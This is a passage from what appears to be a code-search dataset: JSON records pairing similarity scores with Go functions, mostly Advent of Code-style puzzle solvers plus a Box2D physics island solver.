rootOps0[1] == rootOps1[1] {\n\t\t\tcontinue\n\t\t} else if rootOps0[0] != rootOps1[0] && rootOps0[1] == rootOps1[1] {\n\t\t\thumnDependentRootIdx = 0\n\t\t} else if rootOps0[0] == rootOps1[0] && rootOps0[1] != rootOps1[1] {\n\t\t\thumnDependentRootIdx = 1\n\t\t}\n\t\tbreak\n\t}\n\n\tunready(&monkeysMap, \"humn\")\n\tsubStringKeys := []string{monkeysMap[\"root\"].operands[humnDependentRootIdx]}\n\texpressionString := fmt.Sprintf(\"%d=%s\", rootOps0[(humnDependentRootIdx+1)%len(rootOps0)], subStringKeys[0])\n\tfor len(subStringKeys) > 0 {\n\t\tsubStringKey := subStringKeys[0]\n\t\tsubStringKeys = subStringKeys[1:]\n\n\t\tvar subStringValue string\n\t\tif subStringKey == \"humn\" {\n\t\t\tsubStringValue = \"x\"\n\t\t} else if monkeysMap[subStringKey].ready {\n\t\t\tsubStringValue = fmt.Sprintf(\"%d\", monkeysMap[subStringKey].n)\n\t\t} else {\n\t\t\tformatStr := \"(%s%c%s)\"\n\t\t\tif monkeysMap[subStringKey].op == '*' || monkeysMap[subStringKey].op == '/' {\n\t\t\t\tformatStr = \"%s%c%s\"\n\t\t\t}\n\t\t\tsubStringValue = fmt.Sprintf(formatStr, monkeysMap[subStringKey].operands[0], monkeysMap[subStringKey].op, monkeysMap[subStringKey].operands[1])\n\t\t\tsubStringKeys = append(subStringKeys, monkeysMap[subStringKey].operands[0])\n\t\t\tsubStringKeys = append(subStringKeys, monkeysMap[subStringKey].operands[1])\n\t\t}\n\n\t\texpressionString = strings.ReplaceAll(expressionString, subStringKey, subStringValue)\n\t}\n\n\tresult = Part2Type(expressionString)\n\n\treturn\n}", "title": "" }, { "docid": "596a9cbafe49d50ac462435932c5f9a9", "score": "0.6178575", "text": "func Part2(input string) int {\n\tlines := strings.Split(input, \"\\n\")\n\tvar numbers []number\n\tfor _, line := range lines {\n\t\tvar n number\n\t\tre := regexp.MustCompile(`(\\d+)`)\n\t\tif utils.ParseToStruct(re, line, &n) {\n\t\t\tnumbers = append(numbers, n)\n\t\t}\n\t}\n\n\tfor i := 0; i < len(numbers); i++ {\n\t\tfor j := i + 1; j < len(numbers); j++ {\n\t\t\tfor k := j + 1; k < len(numbers); k++ {\n\t\t\t\tif numbers[i].N+numbers[j].N+numbers[k].N == 2020 {\n\t\t\t\t\treturn numbers[i].N * numbers[j].N * numbers[k].N\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpanic(\"no solution\")\n}", "title": "" }, { "docid": "355b969a8f1a01774fce2d7cf5cba07a", "score": "0.61760277", "text": "func SolvePart1(data []int) int {\n\ttotalFuel := 0\n\tfor i := range data {\n\t\tmass := data[i]\n\t\tfuel := int(mass/3) - 2\n\n\t\ttotalFuel += fuel\n\t}\n\n\tfmt.Println(\"Part 1 - Total fuel:\", strconv.Itoa(totalFuel))\n\treturn totalFuel\n}", "title": "" }, { "docid": "b65e7aa792a39ac9dc3745cae17975c6", "score": "0.6118361", "text": "func solve2(input string) string {\n\tnums := parseNumbers(input)\n\ttarget, ok := findBadNumber(nums)\n\tif !ok {\n\t\tpanic(\"Could not solve part 1!\")\n\t}\n\n\t// now we want to find a \"contiguous\" range of numbers that add up to the target.\n\t// I can think of two ways to do this.\n\t// 1. the naive way, iterate summing from the iteration point until it hits or exceeds the target.\n\t// 2. the clever way, do the first like 1. but then subtract the \"first\" number, and then substract\n\t// repeatedly from the right until we hit or undercut. the add again and repeat. saving a bunch of\n\t// addition. This will likely be faster, but more complicated. I'll try the naive way first...\n\n\tfor i := 0; i < len(nums)-1; i++ {\n\t\tsum := nums[i]\n\t\tfor j := i + 1; j < len(nums); j++ {\n\t\t\tsum += nums[j]\n\t\t\tif sum == target {\n\t\t\t\t// we found it. sort and add the top and bottom\n\t\t\t\t//fmt.Printf(\"target:%d, i:%d, j:%d, slice:%v\\n\", target, i, j, nums[i:j+1])\n\t\t\t\tsort.Sort(sort.IntSlice(nums[i : j+1]))\n\t\t\t\treturn fmt.Sprintf(\"%d\", nums[i]+nums[j])\n\t\t\t}\n\t\t\tif sum > target {\n\t\t\t\t// didn't find it.\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// continue!\n\t\t}\n\t}\n\treturn \"<unsolved>\"\n}", "title": "" }, { "docid": "b3a9f60fb329c539cf56b03c1e84ff55", "score": "0.6084913", "text": "func Solve(input []string) {\n\tp := newProgram(input)\n\tlog.Printf(\"Part 1: %d\", part1(p))\n\tlog.Printf(\"Part 2: %d\", part2(p))\n\n}", "title": "" }, { "docid": "6c89ba04306110fc2f7ddc8c0c7f196a", "score": "0.6039084", "text": "func solve2(input string) string {\n\tnums := parseNumbers(input)\n\tsort.Sort(sort.IntSlice(nums))\n\n\t// the number of combinations is directly related to the \"runs\" of consecutive 1-gaps\n\t// the 3-gaps \"must\" be as is. but the 1-gaps have valid arrangements.\n\t// e.g.\n\t// let's think about how we can arrange gaps in our consecutive runs.\n\t// the beginning and end must have the adapters.\n\n\t// I think the pattern is (in binary for ease) with consecutive numbers:\n\n\t// n = length of run\n\t// x = number of combinations\n\t//\n\t// n = 1, x = 1 (1)\n\t// n = 2, x = 1 (only 11) as the first and last must be 1\n\t// n = 3, x = 2 (111, 101)\n\t// n = 4, x = 4 (1[n3] (2), 10[n2] (1), 100[n1] (1) => 4)\n\t// n = 5, x = n4 + n3 + n2 = 4+2+1 = 7\n\t// n = 6, x = n5 + n4 + n3 = 7 + 4 + 2 = 13\n\t//\n\t// 111111 1 + n5\n\t// 110111\n\t// 111011\n\t// 111101\n\t// 110011\n\t// 111001\n\t// 110101\n\t// 101111 10 + n4\n\t// 101011\n\t// 101101\n\t// 101001\n\t// 100111 100 + n3\n\t// 100101\n\n\t// n = k, x = n(k-1) + n(k-2) + n(k-3)\n\t// inductive proof!\n\n\t// so we can work out all the combinations of the runs, then we can have them in any combination\n\t// this basically means multiplying all the combinations.\n\tcombos := uint64(1)\n\n\tcurrentRun := 1\n\tlast := 0\n\tfor _, n := range nums {\n\t\tif n == last+1 {\n\t\t\tcurrentRun++\n\t\t} else {\n\t\t\t// if currentRun <= i {\n\t\t\t// \tlog.Printf(\"run of %d, %v\\n\", currentRun, nums[i-currentRun:i])\n\t\t\t// }\n\t\t\t// run finished!\n\t\t\tcombos *= getCombosForSequence(currentRun)\n\t\t\tcurrentRun = 1\n\t\t}\n\t\tlast = n\n\t}\n\t// the last is the max +3 so never a full run, so if we had a sequence we should\n\t// add it. i.e. 1111 (final).\n\tif currentRun > 0 {\n\t\tcombos *= getCombosForSequence(currentRun)\n\t}\n\treturn fmt.Sprintf(\"%d\", combos)\n}", "title": "" }, { "docid": "48a8871157d08056cb3bf4a3d40e48b7", "score": "0.60267556", "text": "func (sol *Solution) Part2() any {\n\treturn sol.sols[0]\n}", "title": "" }, { "docid": "dba44422b4ebff53c4ca21c65fd77892", "score": "0.5991964", "text": "func (sol *Solution) Part1() any {\n\tzs := map[int][]string{0: {\"\"}}\n\tfor step := 0; step < 14; step++ {\n\t\tnextZs := map[int][]string{}\n\t\tvar cap int\n\t\tif step == 13 {\n\t\t\tcap = 1\n\t\t} else {\n\t\t\tcap = 1000000\n\t\t}\n\t\tfor z, nums := range zs {\n\t\t\tfor w := 1; w <= 9; w++ {\n\t\t\t\tnextZ := sol.Eval(z, w, step)\n\t\t\t\tif nextZ < 0 || nextZ >= cap {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfor _, n := range nums {\n\t\t\t\t\tnextZs[nextZ] = append(nextZs[nextZ], n+fmt.Sprint(w))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tzs = nextZs\n\t}\n\tsol.sols = zs[0]\n\tsort.Strings(sol.sols)\n\treturn sol.sols[len(sol.sols)-1]\n}", "title": "" }, { "docid": "c2dd980e82609a5cd2636f2effb33cf1", "score": "0.5966228", "text": "func (d Day) SolvePartTwo() (string, error) {\n\tdecodedImage := d.image.decode()\n\treturn decodedImage.render()\n}", "title": "" }, { "docid": "2b7daf77984b0d4208da42ac40f76973", "score": "0.59583485", "text": "func Solve(input string, part Part) int {\n\tm := Map{}\n\ttotalCount := 0\n\n\tfor i := 0; i < 128; i++ {\n\t\ts := fmt.Sprintf(\"%s-%d\", input, i)\n\t\tline := HashToBinary(Day10.KnotHash(s))\n\n\t\tfor j, r := range line {\n\t\t\tif r == '1' {\n\t\t\t\ttotalCount++\n\t\t\t\tm[Coord{x: i, y: j}] = &Cell{}\n\t\t\t}\n\t\t}\n\t}\n\n\tif part == Part1 {\n\t\treturn totalCount\n\t}\n\n\tif part == Part2 {\n\t\tcurrentZone := 0\n\n\t\tfor x := 0; x < 128; x++ {\n\t\t\tfor y := 0; y < 128; y++ {\n\t\t\t\tm.ClaimZone(Coord{x: x, y: y}, -1, &currentZone)\n\t\t\t}\n\t\t}\n\n\t\treturn currentZone\n\t}\n\n\tpanic(\"Unknown part\")\n}", "title": "" }, { "docid": "87cc50ceb187029b2bac59b3bbdf197c", "score": "0.5938957", "text": "func solve2() {\n\tvar arr [INPUT]int\n\tfor i := range arr {\n\t\tarr[i] = (i + 1) % INPUT\n\t}\n\n\ti := len(arr)/2 - 1\n\tarr[i] = arr[arr[i]]\n\tcnt := INPUT - 1\n\n\tfor i != arr[i] {\n\t\tif cnt%2 == 1 {\n\t\t\tarr[i] = arr[arr[i]]\n\t\t} else {\n\t\t\ti = arr[i]\n\t\t\tarr[i] = arr[arr[i]]\n\t\t}\n\n\t\tcnt--\n\t}\n\n\tp(i + 1)\n}", "title": "" }, { "docid": "95b148b50aa9f1775ebfb914c24c72e0", "score": "0.5924633", "text": "func Solve(board Board, start *Point, end *Point) Steps {\n\tm := len(board)\n\tif m < 1 {\n\t\treturn -1\n\t}\n\tn := len(board[0])\n\tif n < 1 {\n\t\treturn -1\n\t}\n\n\tmemo := make(map[Point]int)\n\treturn Steps(solveRec(board, *start, end, m, n, make(map[Point]struct{}), &memo))\n}", "title": "" }, { "docid": "9c9c79a6658e0531c9f95f90cc32a3fc", "score": "0.5877703", "text": "func Solve() int {\n\tdiff := 0\n\tfor i:=1; i <= LIMIT; i++ {\n\t\tfor j:=i; j<= LIMIT; j++ {\n\t\t\tif i == j {continue}\n\t\t\tdiff += i*j\n\t\t}\n\t}\n\n\t// more efficient to iterate over half of the matrix then multiply by 2\n\treturn diff*2\n}", "title": "" }, { "docid": "682174564d6715a5e78b7a1e8f0ca3ca", "score": "0.5871423", "text": "func (d Day) SolvePartOne() (string, error) {\n\treturn runWithInput(d.program, 1)\n}", "title": "" }, { "docid": "03a3a353c4389e8d9d981b355bc39211", "score": "0.58680826", "text": "func (d *Computer) Part2(input days.Input) (days.Result, error) {\r\n\tregexp0 := d.parseInputAsRegexes(input)\r\n\r\n\tcount := 0\r\n\r\n\tfor _, message := range d.messages {\r\n\t\t// ok, length := rules[0].validate(message)\r\n\t\t// if ok && length == len(message) {\r\n\t\tif regexp0.MatchString(message) {\r\n\t\t\tcount++\r\n\t\t\t// // // fmt.Printf(\"%s is valid against %s\\n\", message, createRegex(rules[0]))\r\n\t\t} else {\r\n\t\t\t// fmt.Printf(\"%s is invalid against %v\\n\", message, regexp0)\r\n\t\t}\r\n\t}\r\n\r\n\treturn days.Result(fmt.Sprint(count)), nil\r\n}", "title": "" }, { "docid": "ac71667ffc569bcaadd059d0f86b2860", "score": "0.5861729", "text": "func solve2(input string) string {\n\tvar plane Plane\n\tfmt.Sscanln(input, &plane)\n\tinitialState := &State{X: 1, Y: 1}\n\tempty := struct{}{}\n\tmoveCache := map[[2]uint]struct{}{\n\t\t[2]uint{1, 1}: empty,\n\t}\n\n\tvar nextMoves []*State\n\tpendingMoves := []*State{initialState}\n\tkey := [2]uint{0, 0}\n\tfor depth := 0; depth <= 50; depth++ {\n\t\tnextMoves = []*State{}\n\t\tfor _, move := range pendingMoves {\n\t\t\tkey[0], key[1] = move.X, move.Y\n\t\t\tmoveCache[key] = empty\n\t\t\t// add more moves.\n\t\t\tnextMoves = append(nextMoves, move.NextMoves(plane)...)\n\t\t}\n\t\tpendingMoves = nextMoves\n\t}\n\n\treturn fmt.Sprintf(\"%d\", len(moveCache))\n}", "title": "" }, { "docid": "a20ac218f316da15fdd487bb4d0343d9", "score": "0.58147407", "text": "func (d *Computer) Part2(input days.Input) (days.Result, error) {\r\n\tsum := 0\r\n\r\n\tfor _, line := range input {\r\n\t\tlineCount++\r\n\t\tv, _ := strconv.Atoi(processInnerMostParentheses(line))\r\n\t\tsum += v\r\n\t}\r\n\r\n\treturn days.Result(fmt.Sprint(sum)), nil\r\n}", "title": "" }, { "docid": "76c4725d94ff3573917d741e67d1fe79", "score": "0.5759602", "text": "func Part2(input string) (string, error) {\n\tpoints, err := parseInput(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tgrid := newGrid(points)\n\t_, steps := grid.getMessage(1e9)\n\treturn strconv.Itoa(steps), nil\n}", "title": "" }, { "docid": "97096d92aaf0f224fa48d420745974b6", "score": "0.5733837", "text": "func Run2(file string) {\n\tdata, err := readInputData(file)\n\tif err != nil {\n\t\tpanic(\"failed to read data \" + err.Error())\n\t}\n\tmatch, ok := FindBoxDistanceOne(data)\n\tif !ok {\n\t\tpanic(\"failed to run day 2 task 2\")\n\t}\n\tfmt.Printf(\"Day 02 t2: '%v'\\n\", match) // \"pazvmqbftrbeosiecxlghkwud\",\n}", "title": "" }, { "docid": "2ac001e8321de2c400726f058e706e63", "score": "0.57308346", "text": "func (d day13) Part2() {\n\tprogram := input.ParseInts(input.SingleLineFile(d.Path))\n\n\tb := newBoard(38, 20)\n\tb.renderer = d.Output\n\n\tic := intcode.Builder(program).WithOutputter(b).WithInputter(b).Build()\n\tic.Poke(0, 2)\n\t\n\tic.Run()\n\n\tif ic.Error() != nil {\n\t\t_, _ = fmt.Fprintf(d.Output, \"Unexpected error on turn %d: %s\", b.turn, ic.Error())\n\t\tb.render()\n\t}\n}", "title": "" }, { "docid": "a77616cb48cc10832e0fe2298a02def7", "score": "0.56933826", "text": "func solve2(input string) string {\n\t// vertical, so run in threes.\n\tvar a, b, c, d, e, f, g, h, i int\n\tcount := 0\n\tr := strings.NewReader(input)\n\tfor {\n\t\tn, _ := fmt.Fscanf(r, \"%d %d %d\\n%d %d %d\\n%d %d %d\\n\",\n\t\t\t&a, &d, &g,\n\t\t\t&b, &e, &h,\n\t\t\t&c, &f, &i,\n\t\t)\n\t\tif n != 9 {\n\t\t\tbreak\n\t\t}\n\t\tif IsTrianglePossible(a, b, c) {\n\t\t\tcount++\n\t\t}\n\t\tif IsTrianglePossible(d, e, f) {\n\t\t\tcount++\n\t\t}\n\t\tif IsTrianglePossible(g, h, i) {\n\t\t\tcount++\n\t\t}\n\t}\n\treturn fmt.Sprintf(\"%d\", count)\n}", "title": "" }, { "docid": "079824af438108b610f795b43e150b56", "score": "0.56738746", "text": "func (s Solution) SolveSecond() (int, error) {\n\treturn s.SolveSecondWithParam(25)\n}", "title": "" }, { "docid": "85da2cd440440fef228fc53eb1407c9f", "score": "0.5648082", "text": "func SolveTask2BruteForce(startTimestamp uint64, input []string) uint64 {\n\tindexOfMaxBusID := 0\n\tconstraints := [][2]uint64{} // [[time, id],[time, id], ...]\n\tfor i, s := range input {\n\t\tif s != \"x\" {\n\t\t\tid, _ := strconv.Atoi(s)\n\t\t\tc := [2]uint64{uint64(i), uint64(id)}\n\t\t\tconstraints = append(constraints, c)\n\n\t\t\tif i > 0 && uint64(id) > constraints[indexOfMaxBusID][1] {\n\t\t\t\tindexOfMaxBusID = len(constraints) - 1\n\t\t\t}\n\t\t}\n\t}\n\n\tfmt.Println(\"constraints\", constraints)\n\tfmt.Println(\"max constraint\", constraints[indexOfMaxBusID])\n\n\tmaxModule := constraints[indexOfMaxBusID][1]\n\tmaxModuleTime := constraints[indexOfMaxBusID][0]\n\n\ttimestamp := uint64(0)\n\tif startTimestamp > startTimestamp%maxModule {\n\t\ttimestamp = startTimestamp - startTimestamp%maxModule\n\t} else {\n\t\ttimestamp = maxModule\n\t}\n\t// optimization: only test every <maxModule> time stamps\n\tfor ; timestamp < math.MaxUint64-1; timestamp += maxModule {\n\t\tgotcha := true\n\t\tfor _, c := range constraints {\n\t\t\tif (timestamp-(maxModuleTime-c[0]))%c[1] != 0 {\n\t\t\t\tgotcha = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif gotcha {\n\t\t\treturn timestamp - maxModuleTime\n\t\t}\n\t}\n\tpanic(\"did not find solution\")\n}", "title": "" }, { "docid": "cdd7216a184195501716c2bdb2f716b4", "score": "0.56121284", "text": "func Solve(sizeBucketOne, sizeBucketTwo, goalAmount int, startBucket string) (\n\tgoalBucket string, numSteps, otherBucketLevel int, e error) {\n\n\tif sizeBucketOne <= 0 || sizeBucketTwo <= 0 || goalAmount <= 0 ||\n\t\tstartBucket != \"one\" && startBucket != \"two\" {\n\t\treturn \"\", 0, 0, errors.New(\"invalid data\")\n\t}\n\n\tif sizeBucketTwo/sizeBucketOne > 1 && sizeBucketOne != 1 {\n\t\treturn \"\", 0, 0, errors.New(\"not solving\")\n\t}\n\n\tsteps = 0\n\tb1 := bucket{size: sizeBucketOne, goal: goalAmount}\n\tb2 := bucket{size: sizeBucketTwo, goal: goalAmount}\n\n\tif startBucket == \"two\" {\n\t\treturn bigFirst(b1, b2)\n\t}\n\n\treturn smallFirst(b1, b2)\n}", "title": "" }, { "docid": "389785eac16e1de6fb4a193984fb70a3", "score": "0.56076956", "text": "func solve1(input string) string {\n\treturn fmt.Sprint(solveN(input, 3))\n}", "title": "" }, { "docid": "4d41bf69dc051ac98bbdbb7de07d6fc1", "score": "0.5574631", "text": "func (d *Day) P2() error {\n\tfor noun := 0; noun < 100; noun++ {\n\t\tfor verb := 0; verb < 100; verb++ {\n\t\t\tc := newComputer(d.intCodes)\n\t\t\terr := c.poke(1, noun)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = c.poke(2, verb)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = c.run()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tv, err := c.peek(0)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif v == 19690720 {\n\t\t\t\tfmt.Println(\"Answer:\", 100*noun+verb)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn fmt.Errorf(\"didn't find a noun verb combination to make %d\", 19690720)\n}", "title": "" }, { "docid": "99ca258982943fabfc9ab7424980069e", "score": "0.5551143", "text": "func main() {\n\tn1 := 3\n\tc1 := [][]int{{1, 1, 0}, {1, 1, 0}, {0, 0, 1}}\n\tfmt.Println(solution(n1, c1))\n\n\tn2 := 3\n\tc2 := [][]int{{1, 1, 0}, {1, 1, 1}, {0, 1, 1}}\n\tfmt.Println(solution(n2, c2))\n}", "title": "" }, { "docid": "5afb8af4f8da2c4f09e80f0ba28a3314", "score": "0.55431646", "text": "func solve1(input string) string {\n\tnums := parseNumbers(input)\n\tsort.Sort(sort.IntSlice(nums))\n\t// starting from zero, iterate\n\t// and add up the \"differences\"\n\tdiffs := map[int]int{}\n\tlast := 0\n\tfor _, n := range nums {\n\t\tdiffs[n-last]++\n\t\tlast = n\n\t}\n\t// now the final adapter last+3;\n\tdiffs[3]++\n\n\t//log.Printf(\"%#v\", diffs)\n\n\treturn fmt.Sprintf(\"%d\", diffs[1]*diffs[3])\n}", "title": "" }, { "docid": "eca4fe3f88f451db84d02aef3aa90c7e", "score": "0.5522253", "text": "func Part1() int64 {\n\tinput := intcode.LoadFromFile(\"day07/input.txt\")\n\n\tpermutations := calculatePermutations()\n\n\tvar finalOutput int64\n\t// Input for the first instruction, the phase setting from 0 to 4\n\tfor _, permutation := range permutations {\n\n\t\tpcs := make([]*intcode.Computer, 5)\n\t\tfor i := range pcs {\n\t\t\tpcs[i] = intcode.NewComputer(append([]int64{}, input...))\n\t\t}\n\n\t\tfor i, pc := range pcs {\n\t\t\tpc.Step(permutation[i])\n\t\t}\n\n\t\tvar loopOutputSignal int64\n\t\tfor _, pc := range pcs {\n\t\t\tfor !pc.Halted {\n\t\t\t\toutput, _ := pc.Step(loopOutputSignal)\n\t\t\t\tif output == -1 {\n\t\t\t\t\tfmt.Println(\"Received error code from computer.Step(), printing state:\")\n\t\t\t\t\tfmt.Println(intcode.PrintStatus(pc))\n\t\t\t\t\treturn -1\n\t\t\t\t} else if output != 0 {\n\t\t\t\t\tloopOutputSignal = output\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif loopOutputSignal > finalOutput {\n\t\t\tfinalOutput = loopOutputSignal\n\t\t}\n\t}\n\n\treturn finalOutput\n}", "title": "" }, { "docid": "7e95cda1656afb0e58cc8d24bf2635de", "score": "0.55070174", "text": "func solveDay24Part1() {\n\tdirections := getDay24Data()\n\ttilesMap := &TilesMap{tiles: [][][4]byte{}}\n\n\tfor _, direction := range directions {\n\t\ttilesMap.moveTile(direction)\n\t}\n\n\tfor _, tilesLine := range tilesMap.tiles {\n\t\tfmt.Printf(\"%v\\n\", tilesLine)\n\t}\n\n\tfmt.Printf(\"There are %d black tiles\\n\", tilesMap.countBlack())\n}", "title": "" }, { "docid": "e00b37eb44ca7e902f87b0559f2b4950", "score": "0.54949856", "text": "func solve1(input string) string {\n\tinit := GetInitialPuzzleState(input)\n\treturn fmt.Sprintf(\"%d\", solveInt(init))\n}", "title": "" }, { "docid": "a70fa380a66e739b99459f4014a34a3f", "score": "0.5489851", "text": "func (world *B2World) Solve(step B2TimeStep) {\n\tworld.M_profile.SolveInit = 0.0\n\tworld.M_profile.SolveVelocity = 0.0\n\tworld.M_profile.SolvePosition = 0.0\n\n\t// Size the island for the worst case.\n\tisland := MakeB2Island(\n\t\tworld.M_bodyCount,\n\t\tworld.M_contactManager.M_contactCount,\n\t\tworld.M_jointCount,\n\t\tworld.M_contactManager.M_contactListener,\n\t)\n\n\t// Clear all the island flags.\n\tfor b := world.M_bodyList; b != nil; b = b.M_next {\n\t\tb.M_flags &= ^B2Body_Flags.E_islandFlag\n\t}\n\tfor c := world.M_contactManager.M_contactList; c != nil; c = c.GetNext() {\n\t\tc.SetFlags(c.GetFlags() & ^B2Body_Flags.E_islandFlag)\n\t}\n\n\tfor j := world.M_jointList; j != nil; j = j.GetNext() {\n\t\tj.SetIslandFlag(false)\n\t}\n\n\t// Build and simulate all awake islands.\n\tstackSize := world.M_bodyCount\n\tstack := make([]*B2Body, stackSize)\n\n\tfor seed := world.M_bodyList; seed != nil; seed = seed.M_next {\n\t\tif (seed.M_flags & B2Body_Flags.E_islandFlag) != 0x0000 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif seed.IsAwake() == false || seed.IsEnabled() == false {\n\t\t\tcontinue\n\t\t}\n\n\t\t// The seed can be dynamic or kinematic.\n\t\tif seed.GetType() == B2BodyType.B2_staticBody {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Reset island and stack.\n\t\tisland.Clear()\n\t\tstackCount := 0\n\t\tstack[stackCount] = seed\n\t\tstackCount++\n\t\tseed.M_flags |= B2Body_Flags.E_islandFlag\n\n\t\t// Perform a depth first search (DFS) on the constraint graph.\n\t\tfor stackCount > 0 {\n\t\t\t// Grab the next body off the stack and add it to the island.\n\t\t\tstackCount--\n\t\t\tb := stack[stackCount]\n\t\t\tB2Assert(b.IsEnabled() == true)\n\t\t\tisland.AddBody(b)\n\n\t\t\t// To keep islands as small as possible, we don't\n\t\t\t// propagate islands across static bodies.\n\t\t\tif b.GetType() == B2BodyType.B2_staticBody {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Make sure the body is awake (without resetting sleep timer).\n\t\t\tb.M_flags |= B2Body_Flags.E_awakeFlag\n\n\t\t\t// Search all contacts connected to this body.\n\t\t\tfor ce := b.M_contactList; ce != nil; ce = ce.Next {\n\t\t\t\tcontact := ce.Contact\n\n\t\t\t\t// Has this contact already been added to an island?\n\t\t\t\tif (contact.GetFlags() & B2Body_Flags.E_islandFlag) != 0x0000 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Is this contact solid and touching?\n\t\t\t\tif contact.IsEnabled() == false || contact.IsTouching() == false {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Skip sensors.\n\t\t\t\tsensorA := contact.GetFixtureA().M_isSensor\n\t\t\t\tsensorB := contact.GetFixtureB().M_isSensor\n\n\t\t\t\tif sensorA || sensorB {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tisland.AddContact(contact)\n\t\t\t\tcontact.SetFlags(contact.GetFlags() | B2Body_Flags.E_islandFlag)\n\n\t\t\t\tother := ce.Other\n\n\t\t\t\t// Was the other body already added to this island?\n\t\t\t\tif (other.M_flags & B2Body_Flags.E_islandFlag) != 0x0000 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tB2Assert(stackCount < stackSize)\n\t\t\t\tstack[stackCount] = other\n\t\t\t\tstackCount++\n\t\t\t\tother.M_flags |= B2Body_Flags.E_islandFlag\n\t\t\t}\n\n\t\t\t// Search all joints connect to this body.\n\t\t\tfor je := b.M_jointList; je != nil; je = je.Next {\n\n\t\t\t\tif je.Joint.GetIslandFlag() == true {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tother := je.Other\n\n\t\t\t\t// Don't simulate joints connected to disabled bodies.\n\t\t\t\tif other.IsEnabled() == false {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tisland.Add(je.Joint)\n\t\t\t\tje.Joint.SetIslandFlag(true)\n\n\t\t\t\tif other.M_flags&B2Body_Flags.E_islandFlag != 0x0000 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tB2Assert(stackCount < stackSize)\n\t\t\t\tstack[stackCount] = other\n\t\t\t\tstackCount++\n\t\t\t\tother.M_flags |= B2Body_Flags.E_islandFlag\n\t\t\t}\n\t\t}\n\n\t\tprofile := MakeB2Profile()\n\t\tisland.Solve(&profile, step, world.M_gravity, world.M_allowSleep)\n\t\tworld.M_profile.SolveInit += profile.SolveInit\n\t\tworld.M_profile.SolveVelocity += profile.SolveVelocity\n\t\tworld.M_profile.SolvePosition += profile.SolvePosition\n\n\t\t// Post solve cleanup.\n\t\tfor i := 0; i < island.M_bodyCount; i++ {\n\t\t\t// Allow static bodies to participate in other islands.\n\t\t\tb := island.M_bodies[i]\n\t\t\tif b.GetType() == B2BodyType.B2_staticBody {\n\t\t\t\tb.M_flags &= ^B2Body_Flags.E_islandFlag\n\t\t\t}\n\t\t}\n\t}\n\n\tstack = nil\n\n\t{\n\t\ttimer := MakeB2Timer()\n\n\t\t// Synchronize fixtures, check for out of range bodies.\n\t\tfor b := world.M_bodyList; b != nil; b = b.GetNext() {\n\t\t\t// If a body was not in an island then it did not move.\n\t\t\tif (b.M_flags & B2Body_Flags.E_islandFlag) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif b.GetType() == B2BodyType.B2_staticBody {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Update fixtures (for broad-phase).\n\t\t\tb.SynchronizeFixtures()\n\t\t}\n\n\t\t// Look for new contacts.\n\t\tworld.M_contactManager.FindNewContacts()\n\t\tworld.M_profile.Broadphase = timer.GetMilliseconds()\n\t}\n}", "title": "" }, { "docid": "ca91876b0f288ef5664b418a01c7d8de", "score": "0.54829156", "text": "func solve(cube *cepo, tables *tables, group bool) string {\n\tfmt.Printf(\"\\nSolving\")\n\tif group {\n\t\tdumpCube(cube, -1)\n\t}\n\tvar solution string\n\tfor subgroup := isSubgroup(cube); subgroup < 4; subgroup++ {\n\t\tcube.move = \"\"\n\t\tcube.move2 = \"\"\n\t\tstart := time.Now()\n\t\tsolutionPart := idaStar(cube, subgroup, tables)\n\t\tspin(solutionPart, cube)\n\t\tsolution += solutionPart\n\t\tif group {\n\t\t\telapsed := time.Since(start)\n\t\t\tfmt.Printf(\"\\n%vSubgroup: %v%v\\n\", Bright, subgroup, Reset)\n\t\t\tfmt.Printf(\"Solution: %v\\n\", solutionPart)\n\t\t\tfmt.Printf(\"HTM: %v\\n\", halfTurnMetric(solutionPart))\n\t\t\tfmt.Printf(\"Time: %v\\n\", elapsed)\n\t\t\tdumpCube(cube, subgroup)\n\t\t} else {\n\t\t\tfmt.Printf(\".\")\n\t\t}\n\t}\n\tsolution = trim(solution)\n\treturn solution\n}", "title": "" }, { "docid": "f9112d91654cc1097ec88ee0eeeef2bb", "score": "0.5481998", "text": "func (d Day) SolvePartOne() (string, error) {\n\tgrid := grid(make(map[panel]color))\n\trobot := newRobot()\n\n\tintcodeProgram, err := intcode.NewIntcodeProgram(\n\t\td.program, robot.onInput(grid), robot.onOutput(grid),\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = intcodeProgram.Run()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%d\", grid.numberOfPaintedPanels()), nil\n}", "title": "" }, { "docid": "4c2f8b70e658342a9546153909cd4f76", "score": "0.546805", "text": "func part2(intCode []int) {\n\t// Try all noun and verb combinations from 0 to 99\n\tfor noun := 0; noun < 99; noun++ {\n\t\tfor verb := 0; verb < 99; verb++ {\n\t\t\tresult := calcIntcode(intCode, noun, verb)\n\n\t\t\t// If the result matches the desired number we are done\n\t\t\tif result == 19690720 {\n\t\t\t\tfmt.Println(\"Result is: \", 100 * noun + 